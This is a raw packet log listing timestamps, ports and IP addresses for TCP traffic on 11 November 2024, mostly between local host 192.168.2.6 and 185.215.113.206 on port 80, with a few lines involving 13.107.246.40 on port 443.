Nov 11, 2024 12:40:28.515405893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515417099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515418053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515429974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515430927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515441895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515451908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515460968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515471935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515477896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515482903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515505075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515532017 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515784025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515844107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515856028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.515885115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.515906096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516015053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516026974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516036987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516048908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516053915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516061068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516067028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516072989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516083956 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516084909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516103029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516113997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516124010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516128063 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516135931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516146898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516155005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516166925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516175985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516177893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516191959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516197920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516211033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516228914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.516228914 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516254902 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.516262054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.517666101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.517714977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.517724037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.517726898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.517752886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.517765045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.517868042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.517880917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.517915010 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.517934084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519284964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519418001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519620895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519634008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519645929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519655943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519664049 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519669056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519681931 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519692898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519695044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519704103 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519709110 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519716978 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519738913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519757032 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519921064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519956112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519964933 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.519968987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.519996881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520009041 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520148039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520160913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520179987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520186901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520190954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520204067 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520209074 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520220995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520226955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520235062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520246983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520258904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520276070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520277023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520277023 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520288944 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520298958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520309925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520312071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520322084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520333052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520344019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520349979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520360947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520379066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520380974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520392895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520402908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520411015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520421028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520426989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520428896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520438910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520448923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520459890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520472050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520473003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520486116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520487070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520505905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520524025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520535946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520541906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520548105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520559072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520566940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520579100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520586014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520592928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520593882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520606041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520617008 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520617962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520641088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520668030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520828009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520840883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520853043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520888090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520912886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520920992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520925045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520944118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520946026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520957947 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520962954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520971060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520979881 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.520982981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.520998001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521001101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521014929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521020889 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521042109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521056890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521064997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521085024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521092892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521102905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521131992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521157026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521409035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521462917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521589994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521608114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521620035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521636963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521639109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521651983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521661997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521662951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521675110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521686077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521696091 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521696091 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521708012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521718979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521724939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521730900 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521744967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521754026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521761894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521780014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521780014 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521794081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521797895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521805048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521816015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521826982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521827936 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521838903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521842003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521852970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521863937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521863937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521878004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521889925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521893978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521903038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521905899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521914959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.521954060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.521980047 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522125006 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522270918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522273064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522285938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522298098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522306919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522309065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522322893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522325039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522341013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522344112 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522353888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522366047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522377014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522381067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522388935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522403002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522403002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522416115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522430897 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522435904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522466898 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522479057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522490025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522500992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522511005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522515059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522525072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522532940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522536993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522568941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522574902 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522582054 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522592068 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522615910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522646904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522660017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522670984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522691965 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522710085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522762060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522778988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522790909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522802114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522804976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522819042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522826910 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522831917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522844076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522847891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522855043 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522866964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522874117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522880077 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522891998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522895098 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522911072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522942066 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.522973061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522984028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.522994041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523015976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523041964 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523073912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523085117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523094893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523127079 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523158073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523272991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523283958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523294926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523308992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523324013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523328066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523344994 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523366928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523396015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523432970 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523475885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523485899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523514032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.523514986 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.523559093 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.541273117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.541414022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.561239958 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.561270952 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.561316013 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.561330080 CET	443	49872	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:28.561352015 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.561368942 CET	49872	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:28.562246084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562258959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562277079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562299967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562320948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562352896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562371016 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562383890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562396049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562407970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562410116 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562422991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562431097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562443018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562454939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562457085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562474012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562488079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562496901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562499046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562519073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562536001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562655926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562735081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562760115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562774897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562793016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562804937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562813997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562818050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562839985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562846899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562864065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562865019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562889099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562911034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.562928915 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562941074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.562983036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563107967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563119888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563132048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563143015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563148022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563154936 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563164949 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:28.563169003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563180923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:28.563190937 CET	80	49827	185.215.113.206	192.168.2.6
